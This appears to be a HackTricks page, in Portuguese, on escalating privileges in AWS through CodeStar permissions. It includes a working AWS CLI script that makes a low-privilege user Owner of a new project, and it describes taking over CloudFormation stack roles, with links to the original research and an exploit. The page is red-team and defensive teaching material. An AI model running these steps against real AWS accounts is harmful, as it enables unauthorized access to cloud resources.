AWS - Codestar Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Codestar
Você pode encontrar mais informações sobre codestar em:
codestar:CreateProject, codestar:AssociateTeamMember
iam:PassRole
, codestar:CreateProject
Com essas permissões, você pode abusar de um papel IAM do codestar para realizar ações arbitrárias através de um template de cloudformation. Confira a página a seguir:
iam:PassRole, codestar:CreateProject
codestar:CreateProject
, codestar:AssociateTeamMember
Esta técnica usa codestar:CreateProject
para criar um projeto codestar, e codestar:AssociateTeamMember
para tornar um usuário IAM o proprietário de um novo projeto CodeStar, o que lhes concederá uma nova política com algumas permissões extras.
PROJECT_NAME="supercodestar"
aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME
echo "Waiting 1min to start the project"
sleep 60
USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')
aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed
Se você já é um membro do projeto, pode usar a permissão codestar:UpdateTeamMember
para atualizar seu papel para proprietário em vez de codestar:AssociateTeamMember
.
Impacto Potencial: Privesc para a política codestar gerada. Você pode encontrar um exemplo dessa política em:
codestar:CreateProject, codestar:AssociateTeamMember
codestar:CreateProjectFromTemplate
- Criar um Novo Projeto:
- Utilize a ação
codestar:CreateProjectFromTemplate
para iniciar a criação de um novo projeto. - Após a criação bem-sucedida, o acesso é automaticamente concedido para
cloudformation:UpdateStack
. - Este acesso visa especificamente uma pilha associada ao papel IAM
CodeStarWorker-<nome do projeto genérico>-CloudFormation
.
- Atualizar a Pilha Alvo:
- Com as permissões do CloudFormation concedidas, prossiga para atualizar a pilha especificada.
- O nome da pilha geralmente se conforma a um dos dois padrões:
awscodestar-<nome do projeto genérico>-infrastructure
awscodestar-<nome do projeto genérico>-lambda
- O nome exato depende do modelo escolhido (referenciando o script de exploração de exemplo).
- Acesso e Permissões:
- Após a atualização, você obtém as capacidades atribuídas ao papel IAM do CloudFormation vinculado à pilha.
- Nota: Isso não fornece inherentemente privilégios de administrador completos. Recursos mal configurados adicionais dentro do ambiente podem ser necessários para elevar ainda mais os privilégios.
Para mais informações, consulte a pesquisa original: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
Você pode encontrar a exploração em https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py
Impacto Potencial: Privesc para o papel IAM do cloudformation.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.